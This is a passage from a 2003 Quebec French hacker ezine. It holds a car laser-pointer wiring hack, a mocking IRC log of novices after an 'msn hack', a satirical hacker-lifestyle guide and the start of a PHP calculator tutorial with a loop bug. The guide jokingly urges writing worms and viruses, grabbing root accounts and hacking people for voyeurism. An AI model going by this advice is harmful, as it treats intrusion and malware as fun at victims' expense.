explique le gain de 20% de brightness que j'ai gagn avec). Tk  si ca pte je
mettrai une rsistance  qq'pars pour slaquer ca un peu, mais  date,aprs un
cumulatif d'environs 3h non-stop, ca tien le  coup  parfaitement!  Bon  comme
j'avais deux lasers, j'ai dcid de les relis en parallle aprs leurs avoir
apports les mmes modifications. Il suffit donc de relier les 2 GND  (le GND
de chaque pointeur),  et les 2 VCC (5v de chaque pointeur).  Une  fois  cette
dlicate et complexe tache accomplie, prenez le temps de vous divertir devant
un bon film belge traduit en allemand et sous-titr en sudois.. le tout bien
sur accompagn d'un quick aux fraises. (Noter que j'ai tap  le piton  ON des
deux pointeurs affins de pas tre oblig de sortir du char pour  peser sur le
piton) j'ai juste  les alimenter pour faire le tout!)Pour tester vos cossins
je vous suggre de mettre 5v sur la branche 5v que vous avez cre  (qui relie
les 2 pointeurs) pis de relier la branche du  GND  (qui  relie  aussi  les  2
pointeurs)les deux lasers devraient allumer en mme temps et  mme intensit!
Si c'est le cas, tes bin partit! Sinon, ca va pas bin!

.. Et parlant alimentation...
Comme ma voiture utilise du 12v, pis que ca me prenait du 5v, j'ai utilis un
7805  (voir mindkind 1)  pour  faire  la  transformation.  En  gros  c'est un
rgulateur de tension  3 pattes,une pour le 12v(char),une pour le GND(char),
pis une pour le 5v (Laser). Aprs cet ajout, il suffit de  relier  le  5v  du
rgulateur  la branche de 5v des lasers, pis le GND  la branche du  GND des
lasers.(remarquer que dans ce ca ci, il s'agit  d'un  char  donc  on  peut se
servir du frame du char pour se pluguer au  ground  (vitez  la  peinture  ca
conduit mal), (mais vous devez pareil  relier  le  GND  du  char  au  GND  du
rgulateur).Comme le pointeur a un case conducteur qui, contrairement au char
est positif (5v) isolez le si vous pensez placer  ce  pointeur  la  dans  une
voiture entre d'la tle.. (afin d'viter un court-circuit).Bon, pour le reste
y vous reste plus qua trouver une switch pour "activer" le 12v au rgulateur,
ce qui vous permettra de contrler vos lasers. Le 7805 peut  supporter  500mA
(ici on en prend 25mA par laser soit 50mA avec les deux lasers,  mais dj on
sent une petite  chaleur  provenant  du  rgulateur, ce qui est normal,  mais
j'irais pas relier plus que 8 laser par rgulateur, question de pas mettre le
feu dans vos cossins! au pire payer vous en un autre  0.50$ pour en  pluguer
une  autre batch ou achetez-vous un heatsink pour leposer dessus (c'est consu
pour).

Bon ici je fais une remarque, ma mthode (dans le cas d'une voiture),  permet
de placer le tout lectroniquement, mais pour ajuster les lasers,  ou  viter
que de la salet de ramasse sur la lentille pis la bousille, c'est  vous  de
trouver un tweak.. moi j'ai coller une tite vitre en avant du pointeur,  donc
si ya trop de marde au pire je torche la vitre pis  c'est  comme  neuf.  J'ai
srement  pas  besoins de vous dire, j'crois pas que le bureau de la scurit
automobile autorise ca.. mais c'est comme n'importe quoi.. ta  le  droit  des
avoirs mais pas de t'en servir;)


Et vous pensiez que c'tait tout?
Dtrompez-vous, inculte que vous tes, ya encore des lights plutt cool  cot
effet Hi-Tech.Et oui que dire de ces petites LED bleu super bright (remarquer
qui en  des UV aussi!).. Personnellement j'en ai une  de type  super  bright
(qui clair en masse). Mais l'idal c'est pas  d'clairer  au  loin  dans  le
beurre pour donner un effet le fun  ca.. c'est plutt  de  cibler  justement
une chose  mettre en valeur!  Par exemple, si j'ai  poser ca sur un char je
les mettrais pas en avant ca  sert  rien, j'ai mettrais  plutt coller aprs
le contour de la voiture, de facon  ce que la LED clair  la voiture  ou des
parties de celle-ci!  (pareil  pour  tout  autre  truc).  En fait  c'est  une
question de lumire vous ferez bin ce que vous  voudrez  avec  batince!!  Bon
pour ces petites LED la, c'est aussi intressant cote alimentation, la  mienne
marche a 4.5v (comme par hasard).. donc c'est encore une fois  plutt  facile
d'implantation. En fait c'est une device cool ces LEDs la, dans  le  sens  ou
les effets de lignt sont faciles  faire mais surtout qui    tout  plein  de
facon de mettre en valeur des trucs..  Les  effets de vitre sont plutt cool,
en fait suffit de placer la dite  LED sur la largeur de la vitre, pis  toutes
les imperfections de celles-ci vont apparatrent,  sans compter les contours,
le look est assez geek;)
   

    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|             Qwzykx@mindkind.org         |    
                                '-------- - ----------- ------------ -----'




  < Mindkind tales from IRC >

  --------------------still meanwhile on rectumcrew--------------

  <KiNgSk8eR> qqu connait le server STMP de hotmail pour msn hack
  <Th3SaTaN> non
  * |Rectum| sets mode: +l 62
  <DeViLzZzZ> KiNgSk8eR ouv toi un firewall
  <DeViLzZzZ> log toi a msn
  <DeViLzZzZ> pitu va lavoir
  * Dr-SpLiT has joined #RectumCrew
  <KiNgSk8eR> t sur
  <DeViLzZzZ> esaye
  <KiNgSk8eR> ya tu une autre place pour le trouver
  <DeViLzZzZ> envoie leur un email pi demande leur
  <Th3SaTaN> Adresse IP: 64.4.52.7
  <Th3SaTaN> Hostname: hotmail.com
  <DeViLzZzZ> comment faire pour les hacker
  <KiNgSk8eR> lol
  <BleM> KiNgSk8eR
  <BleM> jpense je te connais
  <KiNgSk8eR> t ki
  <BleM> bah
  <BleM> jt dja passer des bot
  <KiNgSk8eR> ben oui
  <KiNgSk8eR> lol
  <BleM> chtel dit
  <KiNgSk8eR> j'ai pas de firewall
  <KiNgSk8eR> pis i me faut ce stmp
  <KiNgSk8eR> DeViLzZzZ
  <KiNgSk8eR> fait le pis dit moi le svp

  < ----------------------- >



                                

    .-----------[MinDKinD100\#100.10]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 27/11/03
    | .        So you wanna be a hax0r?                | - Mindkind various
    |                           aka                    '------------- ----.
    |                               A Mindkind guide to be a no life      | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 
   
 
            So you wanna be a hax0r?


                   /|||||\   
                  <|-O-O--|>  
                   |  -   |  
                   \ `-'  /       
                    --\/--~~^\  
                  /    |o     \ 
                 /  \  )o   /  \
                /  \   )o       \ 
               /  /    )o  /  \  \   
              /  /i  \ )o     i\  \
             (  ( i    )o  /  i )  ) 
             \  \ i     )o    i/  / 
              \  \i  \ )o  /  /  /
               \  >    |o    /  / 
                \\\\      <////  
                 (-===========-)
                /$###/((#)\W####\
               /$###/  (#)  \W###\
               /###/   (#)   \W###\ 
              /###|    (#)    |####|
             /----\   ((#))   |----\
            / ~~~ |  /#/#\#\  \ ~~~ | 
            | ~~~ / /#/   \##\ / ~~ /
             \~~~//##/     --- \ ~~/
			     ----
           

        A Mindkind guide to be a no life



Bonjour les enfants,  aujourd'hui nous allons  apprendre comment
devenir un vrai de faire hax0r. a la aucun fucking rapport avec
le  hacking  lui-mme, mais  who  cares toute  cki  compte c'est
l'apparence et la prsentation. Votre envie d'tre un hax0r,  un
vrai, doit tre la  srement paske vous voulez  tre diffrents,
vous dmarquez,  ne pas  suivre le  moule forc  par la socit,
vous exiprimer de votre manire  (wtf?) ou encore tre libre  de
ce que vous voulez bien  scrapper. Nyways, on s'en sacre,  voici
des  conseils  pratico-pratique-merdiques  pour  vous  permettre
d'avoir la vie du hax0r, du vrai.



-  cafine  (BAWLS, Expresso,  finalement les  cafs et boissons
nergitiques),  boit  zen  bcp, a  tout  les  jours. La  cafine
dtruit le corps et te fais shaker a la longue mais offre de  la
motivation et rveille.
-  junk food : pourquoi se faire chier a faire cuire des lgumes
quand on peut command de la pizza, de prfre double fromage ou
au bacon.  Si t  loin en  campagne et  ya pas  trop de  place a
pizza, assaye  toute les  produits congeler,  qui sont dailleurs
plus nutritif que le  monde pense, dans ce  cas la, va pour  des
pizza pochettes.
-  alcool : boit souvent de  la biere, du fort meme. coder saoul
c'est le fun, abuse aussi, ya pas de honte  tre malade seul.
-  porn  : une  partie de  la vie  sociale peut tre rassasi en
coutant du porn. ta pas a te faire chier a parler a personne et
tu vois des filles nues. c bon pour le moral, et pas chiant pour
5.. dans le cas que tu te tanne, passe au point suivant.
-  sexe : ben ya  le porn pis #quebec undernet. beaucoup de gens
dise que  c lame  de cruiser  sur le  net, mais  franchement, tu
connais  la  personne  intellectuellement  avant  dla  connaitre
physiquement,  dans un  bar ta  connais physiquement  avant dla
connaitre  intellectuellement, et  hum, depuis  de internet  est
rendu sur les ordinateurs, ya pas mal plus de fille potable  qui
chat, et si t moindrement  deviant sexuelle a cause que  ta trop
utiliser la patch porno, soit pas si triste, le hip hop meme  si
sa suxx, a convaincu les filles que etre saloppe c'est kewl. 
-  IRC : si t dans un trou ou renfermer assaye pas de te trouver
des amis dehors, va sur irc, toute est classer par sujet  (quand
tu sais chercher) et tu peux trouver du monde avec qui parler de
ce qui te tente (philo, drogue, musique, hacking, coding, etc.)
-  lecture  : lit  juste des  articles de  ezines, des sites web,
etc. les  livres c'est  faite pour  tre long  et chiant quand t
dans le mood "bad ass".
-  coding : worm et virus all the way. nglige pas le fait ke tu
peux faire du cash ou ben  du fun en codant des affaires  qui te
sont utile QUA TOI. pense pas aux autres, code pour toi meme.
-  hacking/haxoring : si t  un collectionneur tu peux tamuser a
ramasser des accounts root partout sur la plante. c'est lame un
peu,  donc  au pire  gosse  dans un  programme  pour trouver  un
exploit et amuse toi avec l'exploit  (dj la c plus le fun  que
du script kidisme)
-  L'cole : trouve des moyens pour avoir 70% partout. Cest trs
facile si tu y penses, et non c'est pas ttemps TOUTE tudier qui
est le best.. c  tudier le MINIMUM pour  VISER 70% (au lieu  de
viser 100% et davoir 70..)
-  Loisirs : jeux vidos.
-  Religion : be your own god.
-  Haxoris du monde pour les faire chier ou pour satisfaire tes
gots perverts de voyeurisme informel.
-  L'hygine personnel doit tre garde au strict minimum. Nos
germes tuent les germes extrieurs, donc on fini par se faire
une croute protectrice avec nos propres germes.
- Fabrique toi un chapeau en papier d'alluminium pour pas que
PERSONNE puissent contrler tes penss. Surtout les E.T.
Lien pertinant: http://www.stopabductions.com/
-  Truc  magique en  informatique :  contrairement  la croyance
populaire,  l'informatique  est   faite  pour  les   lazy,  plus
prcisment les lazy  blaz. Donc passe  ton temps a  t'arranger
pour sauver du temps, et pour que toute les choses se fasse tout
seul.. dit toi "si je fini  a je vais pouvoir me pogner  le cul
aprs". Voit  l'informatique comme  un moyen  de simplifier  les
choses, d'viter les taches rptitives.

               Devant l'impossibilit de tout savoir,
               beaucoup ont choisi de ne rien savoir.
                      ne soyez pas un des leurs,
                              souffrez.



    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|               mkd@mindkind.org          |    
                                '-------- - ----------- ------------ -----'                                                                





  < Mindkind tales from IRC >

  --------------------still meanwhile on the same chan----------

  ---meanwhile again on #rectumcrew,
  on pensait que wyze savait pas ecrire en francais---

  <Wyzeman> c que 1) c smtp pas stmp 
  * Xxl4DyxX has joined #RectumCrew
  <Wyzeman> pi que 2) hotmail marche pas avec ca ;)
  <KiNgSk8eR> c tu un http
  <Wyzeman> dapres toi ?
  <KiNgSk8eR> mais avec msn hack
  <BleM> pi que 3) ON SEN TABARNAK DE T KIT
  <KiNgSk8eR> svp les gars
  <KiNgSk8eR> masi check msn hack c tu de la merde oui ou non

  hehe c toujours drole de rire des newbs une fois de temps  en  temps
  par contre, c'qui est incomprehensible c'est qu'ils sont 60 sur leur
  putain de chan :]

  < ----------------------- >





    .-------[MinDKinD100\#100.11]------- ---- - -------. [M]ind[K]ind #100
    |                                                  | - 14/09/2003
    | . i love PHP                                     | - Seriousman
    |                        aka                       '------------- ----.
    |                           "non php sa suce pas, mais c hot pareil"  | 
    |        _____                                                .       |
    '------------------------[ again, again n again.]---- ----------------' 


                    __    __
IIIIIIIIIIII       /  \  /  \      PPPPPPPPPP     HHHHHH    HHHHHH     PPPPPPPPPP
IIIIIIIIIIII      /    \/    \     PPP     PPP     HHHH      HHHH      PPP     PPP
    IIII         /            \    PPP      PPp    HHHH      HHHH      PPP      PPp
    IIII        /              \   PPP     PPP     HHHH      HHHH      PPP     PPP
    IIII        \              /   PPP    PPP      HHHHHHHHHHHHHH      PPP    PPP
    IIII          \          /     PPPPPPPP        HHHHHHHHHHHHHH      PPPPPPPP
IIIIIIIIIIII        \      /       PPP             HHHH      HHHH      PPP
IIIIIIIIIIII          \  /         PPP             HHHH      HHHH      PPP
                       \/        PPPPPPP          HHHHHH    HHHHHH   PPPPPPP
                                                       Paint by SeriousMan ;)
I/Intro:
5/9/03 11:42 ,Deuxime essaie d'intro (le premir parlais de la personne
idale pour lire l'article):

"P'tin un  autre  tutorial de php , y'en a marre de  ces tut's  a la con qui
n'ajoute rien", et je rpond:"Mais non, ce n'est pas comme les autres ,c'est
un tutorial originale , je  clarifie : le concept est simple ,c'est juste un
projet en php qui  au fil de sa cration, vous apprendrez le langage et a sa
eb fin vous aurez une bonne' connaissance de php qui vous permettra de faire
plain de chose (des ptit script d'automatisation , de calcule ...) .
Le bon dans ce tutorial c'est qu'il est du  100% pratique, qu'il vous apprend
a faire des vrai application (c'est facile  d'apprendre les instructions ,les
boucles et tous ces thories mais il est trs difficile de  les applique pour
avoir une application ) , Le niveau requis pour commencer est de presque zro
quelque connaissance en base de  programmation et  une bonne  logique suffit,
mais il est prfrable d'avoir lu un autre tutoriale de base(une introduction)
de php avant de commencer .


						Bonne lecture
						Votre serviteur:
						SeriousMan

ps: si l'ide et l'article vous plais , contacter moi pour le dire et donner vos
remarque et si je trouverai qu'il a intresse beaucoup de monde peut tre qu'il 
sera un dbut d'une longue srie.
Contact:
mon email: seriousman@altern.org
mon icq: 288831805
IRC :   epiknet : #ioc et #newffr
	undernet: #mindkind.org & #activism
	shmeitirc.mefound.com: #fff & #[s.corp]

II/Pre-Prog:

\/\/\/\/\/\/\/\/Projet : Interpreteur d'expressions mathematiques\/\/\/\/\/\/\/\\/

1/But:
-L'utilisateur crie une expression que le script interprtera puis retournera le
rsulta par ex : l'utilisateur crit '5+5*2' le navigateur  affichera 15 ( et oui
le php c'est un  langage  de Web donc  le  script  sera  excuter  sur le serveur
puis le rsultat  renvoyer a  la  machine de l'utilisateur  et  afficher  sur son
navigateur sous forme d'une page html(page Web simple) ou autre format compatible
Web (java script, flash et mme pdf ou Word) .

2/Les tapes:
-l'utilisateur crie l'expression qu'elle  sera  envoyer par un get ou un post au
serveur (on verra plus tard ce qu'elle sont).
-le script analyse le syntaxe de l'expression . 
-le script interprete l'expression (la comprend par sa maniere :) calcule son 
  rsultat.
-le script envoie le rsultat au navigateur sous forme de page html .

donc on va couper notre script en 4 partie :
-La page ou l'utilisateur crira l'expression (la partie 100% html) .
-La partie d'analyse de syntaxe (on voie si il n'y a pas d'erreur dans 
 l'expression).
-La partie d'interprtation et de calcule.
-La partie d'affichage du rsultat.
Remarque: on ne programmera pas les partie dans l'ordre.

Maintenant qu'on sait ce qu'il faut faire commenons le travail .

III/Parti4 : La partie d'affichage du rsultat :

1/Les generalites :
Avant de commence la programmation de cette parti clarifions quelque base :
-Le PHP est un langage incrust au HTML et interprt (PHP3) ou Compil (PHP4) par
le serveur .
-Les commentaires du php (ce sont des commentaires mises dans le code source  pour
l'expliquer qui sont Ignorer par le compilateur) sont designer par:
//  commentaires sur la mme ligne
/*  commentaires jusqu'au */
#   commentaires sur la mme ligne (comme en Shell)
-Il n'est pas  ncessaire de  dclarer des variable  en php ils seront cre a leur
premire utilisation.
-Les identificateurs des variables sont prcdes par le symbole"$" exemple $Foo ou
$bar.
-Dans le php les majuscules ne change rien .
-Les variable pourront  tre  des  entiers, rels , chane de caractre , boolen ,
tableaux, objet et ptet d'autre type que je connais pas .
-Un script php commence avec un <? Et fini avec un ?>
-la fonction echo affiche un string, un rel, et tous ce qui  la prcde  a l'cran
-Une ligne  de code ( une fonction  ou  tout  autre chose )  fini  toujours par  un
point-virgule ";"

Voici quelque exemples pour vous aidez  comprendre ce que j'ai dis:
------------------Danger Mort Radiation--Danger Mort Radiation--------------------
<html><body>
<?
$toto = "556"; #la variable toto est gale a la chane de caractre "556"
$tonton = 556; //la variable tonton est gale au nombre 556
$papa = "hello world" ; //papa est gale a la chane "hello world
echo $toto.$tonton.$papa."je suis le dieu de php"; /*cette ligne affichera 
556556hello world je suis le dieu de php */
?>
</body></html>
------------------Danger Mort Radiation--Danger Mort Radiation-------------------

Sauver ce code dans example.html ou example.php dans votre serveur puis ouvrer le
avec votre navigateur prfrer et hop y'aura un beau "556556hello worldje suis le
dieu de php" afficher dans la source vous verrez:
<html><body>
556556hello worldje suis le dieu de php
</body></html>
--> tout ce qui est au dehors du script php(les <? et ?>) ne sera pas interprter
par le serveur mais  envoyer a la  machine hte et interprter par le  navigateur
comme du code html normale(remarque:mme le rsultat du code php sera interprter
par le navigateur comme du html).

C'est fini les bases, si vous avez loupez quelque chose j'insiste que vous alliez
voir un tutorial de base en php  y'a un bon sur le ( je l'utilise comme reference
pour ce tutorial): http://cyberzoide.developpez.com 
Pour le reste il vous faut un serveur local ( si vous avez une distribution linux
RedHat, Mandrake, SuSe vous   trouverez tout  disponible ( un serveur apache avec
module php)mais si vous avez Windows tlcharger vite EasyPHP et installer (c'est
rapide (installation facile ), simple a utilise et trs complet(Serveur apache  +
php+ mysql + quelque module pour la route et tout a dans 10.3 mega ( vous pouvez
aussi le trouver dans svm numro 213)).
Il vous faut aussi le manuel de php (pour comprendre quelque fonction que j'aurai
oublie d'expliquer ou que j'ai mal explique et un ptit tutorial de php pour mieux
comprendre ce que je dis(a ce n'est pas ncessaires mais 'est recommender (ceci
est mon deuxime tutorial donc je ne crois pas qu'il peut tre parfait ).


        ____         ,-------------------------------------------------
       /    \        |  Dans des cadres comme  celui ci vous trouverez
      |  _   |       | mais remarque , ajout, information, et solution
      | / \  |       | et tout les choses qui ont quelque chose a voir
      ||   | |      /  avec notre sujet.
      (.) (.)|     /   
      ||   | |    <__  
      |____/|||      | Remarque: c'est pas mon ASCII :) c'est du 100% rip.
      |\___/ | |     | 
      ||   | | |     | 
      | \___/  |      
       \______/        

2/Let's Code :

Bon comme on sait le  code sera coupe en quelque  parti et toute  partie sera une
fonction que le programme principale appellera pour afficher le rsultat .

        ____         ,-------------------------------------------------
       /    \        |  Une fonction est une parti du code qui contiendra
      |  _   |       | des instruction qui seront  excuter a  l'appel de
      | / \  |       | la fonction. 
      ||   | |      /  Une fonction peuvent prendre des argument : des variables
      (.) (.)|     /   de tout type , une chane de caractre , un nombre
      ||   | |    <__  Une fonction peu afficher une expression, retourner une
      |____/|||      | valeur ...
      |\___/ | |     | ex:
      ||   | | |     | <?
      | \___/  |        function add($nombre1, $nombre2){
       \______/         $result= $nombre1 + $nombre2;
			echo $result;
			}
			$waw = 29848;
			$add= add(1483,$waw);
			?>
			et ca affichera 31331 :) facile ,non?
			Il y'a beaucoup de fonction deja faite en php comme
			echo par ex.

Donc pour cette partie  on aura une fonction  avec comme argument  le rsultat de
l'expression donc on aura :

-----------------Danger Mort Radiation--Danger Mort Radiation--------------------
<?
function Afficher_Resultat ($Result){
	echo "Le resultat de votre expression est: ".$Result ;
}
?>
-----------------Danger Mort Radiation--Danger Mort Radiation--------------------

N'ayez pas peur y'a plus de radiation :)
Je crois que j'ai rien a  explique dans ce code si vous avez pas compris  relisez
ce qui prcde et si vous ne comprenez toujours pas allez voir un autre  tutorial
puis revenez :p .


III/Parti1 : La page ou l'utilisateur crira l'expression  (la partie 100% html):
1/Parlons un peu:
Bon cette parti vous parat sans aucun rapport avec notre sujet parce  qu'elle du
100% HTML mais  vous vous trompez , avez vous thinker  about comment  on envoiera
l'expression au serveur pour qu'elle soit interprter ?
Ben j'ai une solution : POST ( j'entend des KESKA  partout , la prochaine fois je
mettrai de la musique a fond pour ne pas entendre c'est connards :p ) .

    ____         ,-------------------------------------------------
   /    \        |(Cette parti est copi du tutorial du CyberZoid en PHP & MySQL)
  |  _   |       | Passage de paramtres  un script
  | / \  |       | *Methode des formulaires:
  ||   | |      /  La methode POST permet de passer des variables saisies par
  (.) (.)|     /   l'utilisateur d'un script php a l'autre
  ||   | |    <__  Example :
  |____/|||      | echo "<form methode=\"post"\ action=\"check.php\">
  |\___/ | |     | Login:<input type=\"text\" name =\"login\" value=\"$login\" /><br>
  ||   | | |     | Password: <input type=\"password\" name=\"pass\" value=\"$pass\" /><br>
  | \__ /  |        <input type=\"submit\" value=\"Identifier\"/>
   \______/         
                   ...Toutes les variables passes en paramtres par cette 
                   mthode seront considres comme  des  chanes de  
                   caractres...   Les donnes saisies n'apparatront  pas  dans 
                   l'url  et ne seront  donc pas stoker dans le	fichiers de log 
                   du serveur, contrairement a la mthode GET... Mthodes des 
                   ancres:
		   Les variables peuvent directement tre passs par 
		   l'intermdiaires des	URL. example:
			
	           $id = 20;
		   echo "<a href=\"fichier.php?action=buy&id=$id\">Acheter</a>";
		   
		   Cet exemple va crer dans le script destination les variables 
		   globales
		   $action et $id avec les valeurs respectives "buy" et "20"...

2/Maintenant plangons dans notre code :

Cette partie comme vous  l'avez peut tre su sera  la page principale  du  script
calculer.htm

------------------Y'a plus de danger vous pouvez passez--------------------------
<html>
<head>
<title>SeriousCalc</title>
<meta name="keywords" content="Calculatrice, Calculer, math, SeriousMan, Mindkind, 
Sex, Pamela, nude, on peu contunier jusqu'au morning, lol">
<META name="Author" content="SeriousMan">
<META http-equiv="Content-Language" content="fr">
<meta name="description" content="Calculatrice">
</head>
<body>

<form method="post" action="calcule.php">  <--- c'est un formulaire de methode 
post qui envoira une variable du type text au script calcule.php --->
L'expression: <input type="text" name ="express"/><br> <-- La variable aura don 
pour nom $express -->
<input type="submit" value="Calculer" /> <--- Le bouton aura pour nom Calculer --->
 
</body>
</html>
------------------LOL, Je vous est eu: y'avait dla radiation---------------------


Bon, si vous ts tjs vivant (WOW, vous avez survcu avec toute cette  radiation,
mais vous aurez plus d'enfant :)  je crois que vous avez compris le code  et tout
ce qui prcde (sinon il aurai t mieux que vous mourrez :p ).

On continue vers des autres mondes inexplors mais a sera pas facile ,il faut du
courage un trs grand brain et il faut aussi  avoir une trs trs trs longe bi..
mais ce n'est pas trs ncessaire :)

IV/Interlude:
1/Zic:
J'insiste que vous entendez ces morceaux la:
-How Much is The Fish-- Scooter
-Sad But True, Unforgiven II, St Anger ... --Metallica
-Bring Me To Life --Evanescence
-Grave dans la roche, Sans (Re)Pere --Sniper
-Disassociative --Marlyn Mansion
-ADD, Roulette, Aerials, Fuck The System et tout les song's de System of a Down
-Breaking The habit --Linkin Park
-Lake Bodom, Bed Of Razors et leur concert de Tokyo --Children of Bodom
-Paint it Black --Rolling Stones
-Tout les chanson de OffSpring
-Remeber --SeriousMan (a existe vraiment mais y'a que 3 personnes qui l'ont 
 entendu ,si vous voulez tre le 4eme vous n'avez que seriousman@altern.org)
-Bc d'autre chose que j'ai oublie
2/Film's:
-Memento
-Mulholland Drive
-American Weedding
-Une vie normale et dcalages de Gad El Maleh
-Requim For A Dream
-True Man Show
-Ma 6-T Va Craque
-Fight Club (J'insiste vraiment)$
3/Article et Livre:
-Mon autre article 'WarGame' le numro 100 de Mindkind
-Le train orient express et 10 ptit ngres de Agatha Christ :)
-Le ptit Larousse
-How to become a big LAmer --Pyro Freak Team ;)
4/Quelque mot pour finir (pas l'article mais l'interlude):
-L'homme est un tre humain si vous le tuez il meurt --SeriousMan
-L'underground sera toujours sous la terre --SeriousMan
-Rveillez-vous c'est la rvolution --Tjs SeriousMan ;)
-Chiwhawha --Dj Bobo
-This is a girl --David Lynch
5/Remarque:
Il faut imprativement lire,entendre,voir,comprendre tout  ce qu'il y a si dessus
pour comprendre la prochaine partie .

V/Parti2: La partie d'analyse de syntaxe:
1/Let's speak:
Sorry: i hate speaking :p

2/L'algorithme infernale des pays d'ouest et le pays de gale:
Ce que fera l'analyseur de syntaxe c'est de passer l'expression a plusieurs tests
et si elle reussi  elle passe sinon on  envoie un beau die() ( une autre fonction
deja-faite) ,En passant j'adore cette fonction (chouchou :)

    ____         ,-------------------------------------------------
   /    \        |  die() est un alias a la fonction exit (avant c'tait le die()
  |  _   |       | maintenant y'a exit(),)) voyons ce que die notre jolie man:
  | / \  |       | exit -- Termine le script courant
  ||   | |      /  void exit ( string status) , void exit ( int status)
  (.) (.)|     /   Note : exit() n'est pas une vritable fonction, mais un lment 
  ||   | |    <__  de langage. exit() termine l'excution du script courant. Elle 
  |____/|||      | n'a pas de valeur de retour (et pour cause!), mais elle 
  |\___/ | |     | utilisera le message status comme message de fin d'excution. 
  ||   | | |     | Note : La fonction die() est un alias de la fonction exit(). 
  | \___/  |       <?php $filename = '/chemin/jusqua/fichier';
   \______/         $filename = '/chemin/jusqua/fichier';
                    $file = fopen ($filename, 'r')  /*cette fonction ouvre un 
                    fichier les argument sont le nom du fichier et la methode 
                    (r = read) */
		    or exit("Impossible d'ouvrir le fichier $filename"); 
		    ?>
		    (si vous comprenez pas l'exemple c tout a fait normale :)



                     l'expression
                           |
                           |
          est ce qu'il y'a des caractre a pars 
          les nombres et les oprateurs (+-*/pour nous)?
                           |                            |
                           |n				|o
                           |o				|u
                           |n				|i
                           |				|
                           |				|
	 y'a t'il deux oprateurs suivie		|
		par ex: (5++5)?		\		|
			|		  \o 		|
			|n		    \u		|
			|o		      \i	|
			|n			\_______|
			|				|
		l'expression est t'il constitue		|
		de plus de 26 charctere ?		|
			|		|		|
			|n		|   o u i	|
			|o		-----------------
			|n				|
			|				|
		OK tu passe vers			|
		l'interprteur			    die('il y'a une erreur');
		/ vers/
	       /l'int/
	      /erpre/
	     /teur /

3/Code my, my friend code me, coz i'm not the only one, i'm not the only one:

Avant de commencer  je  voudrai expliquer  comment naviguer dans  l'expression  ?
--> pour la navigation on utilisera un petit truc .

1/la fonction strlen():
strlen -- Calcule la taille d'une chane
*Description
int strlen ( string str)
strlen() retourne la taille de la chane string. 
2/$char[int nombre du caractre voulu]
par ex:
--------------------Veuillez donne votre mot de passe pour entrer----------------
<?
$text="SeriousMan";
echo strlen($text)."<br>";//affichera 10 (le br c'est pour sauter la ligne)
echo $text[6];//affichera 's' et non pas u car on commence a compter du zro 
?>
-----------------------Erreur 1337: Password Ok but lamer detected----------------

/\/\/\/\/\/\/\/Quelques page du manuel sur les if , for/\/\/\/\/\/\/\/\

L'instruction if est une des plus importantes instructions de tous les  langages,
PHP inclus. 
Elle permet l'excution conditionnelle d'une partie de code . Les fonctionnalits
de  l'instruction if sont les mmes en PHP qu'en C :

<?php
  if (expression)
    Commandes
?>

Comme nous l'avons vu dans  le  paragraphe  consacr  aux  expressions, expr  est
value  sa vraie valeur. Si l'expression expr est TRUE, PHP excutera l'instru-
ction et si elle est FALSE, l'instruction sera ignore. 
L'exemple suivant affiche la phrase a est plus grand que b si $a est plus grand 
que $b: 

<?php
  if ($a > $b)
    print "a est plus grand que b";
?>

Souvent ,  vous  voulez  que  plusieurs  instructions  soient  excutes aprs un
branchement conditionnel . Bien videmment , il n'est pas obligatoire  de rpter
l'instruction  conditionnelle  autant  de  fois que  vous avez  d'instructions  
excuter.
A la place, vous pouvez rassembler toutes les instructions dans un bloc.
L'exemple  suivant affiche a est  plus grand  que b , et assigne  la valeur de la
variable $a  la variable $b:

<?php
if ($a > $b) {
    print "a est plus grand que b";
    $b = $a;
}
?>

Vous pouvez imbriquer indfiniment des instructions if les  unes dans les autres,
ce qui permet une grande flexibilit dans l'excution d'une parti de code suivant
un grand nombre de conditions. 

#######################

for
Les boucles for  sont les boucles les  plus complexes en PHP . Elles fonctionnent
comme les boucles for du langage C . La syntaxe des boucles for  est la suivante:

<?php
  for (expr1; expr2; expr3) statement
?>

La premire expression(expr1) est value(excute),quoi qu'il arrive au dbut de
la boucle. Au dbut de chaque itration, l'expression expr2 est value.Si l'va-
luation vaut TRUE,la boucle continue et l'instruction est excute . Si l'valua-
tion vaut FALSE, l'excution de la boucle s'arrte. 
A la fin de chaque itration, l'expression expr3 est value (excute). 
Les expressions peuvent ventuellement tre laisses vides. Si l'expression expr2
est laisse vide, cela signifie que c'est une boucle infinie(PHP considre impli-
citement qu'elle vaut TRUE,  comme en C ). Cela  n'est pas  vraiment  trs utile,
 moins que vous souhaitiez terminer votre boucle par l'instruction conditionnel-
le break.Considrons les exemples suivants. Tous affichent les chiffres de 1  10:

<?php
/* exemple 1 */
for ($i = 1; $i <= 10; $i++) {
    print $i;
}
/* exemple 2 */
for ($i = 1;;$i++) {
    if ($i > 10) {
        break;
    }
    print $i;
}
/* exemple 3 */
$i = 1;
for (;;) {
    if ($i > 10) {
        break;
    }
    print $i;
    $i++;
}
/* exemple 4 */
for ($i = 1; $i <= 10; print $i, $i++) ;
?>
 
/\/\/\/\/\/\/\/Fin des quelques page du manuel sur les if , for/\/\/\/\/\/\/\/\

Le code :

(((((((((((((((:Watch your Step-Watch your step-Watch your step:)))))))))))))))))

function analyse($express){
	$lengh = strlen($express); //La taille de la chane sera dans $lengh
        for ($i = 0; $i <= $lengh; $i++) { //on utilisera $i pour voyager entre 
                                           //les caractere de la chaine donc en 
                                           //commencera par 0 (le premier 
                                           //caractere) et en ajoutera 1 tout 
                                           //les tours d'execution j'usqu'a $i 
                                           //sera plus grande que la taille de 
                                           //la chaine
    		if (($express[$i]!="0")&&($express[$i]!="1")&&($express[$i]!="2")&&($express[$i]!="3")&&($express[$i]!="4")&&($express[$i]!="5")&&($express[$i]!="6")&&($express[$i]!="7")&&($express[$i]!="8")&&($express[$i]!="9")&&($express[$i]!="+")&&($express[$i]!="-")&&($express[$i]!="*")&&($express[$i]!="/")){ //si le caractere n'est pas un nombre ou un operateur 
			die("erreur fatale: prsence de caractre interdit"); 
			//y'aura une erreur
			}
			if($lengh>25){ //si la taille de la chane est trs grande
				die("erreur fatale: expression trs longe pour tre interprte"); 
				//y'aura une erreur
			}
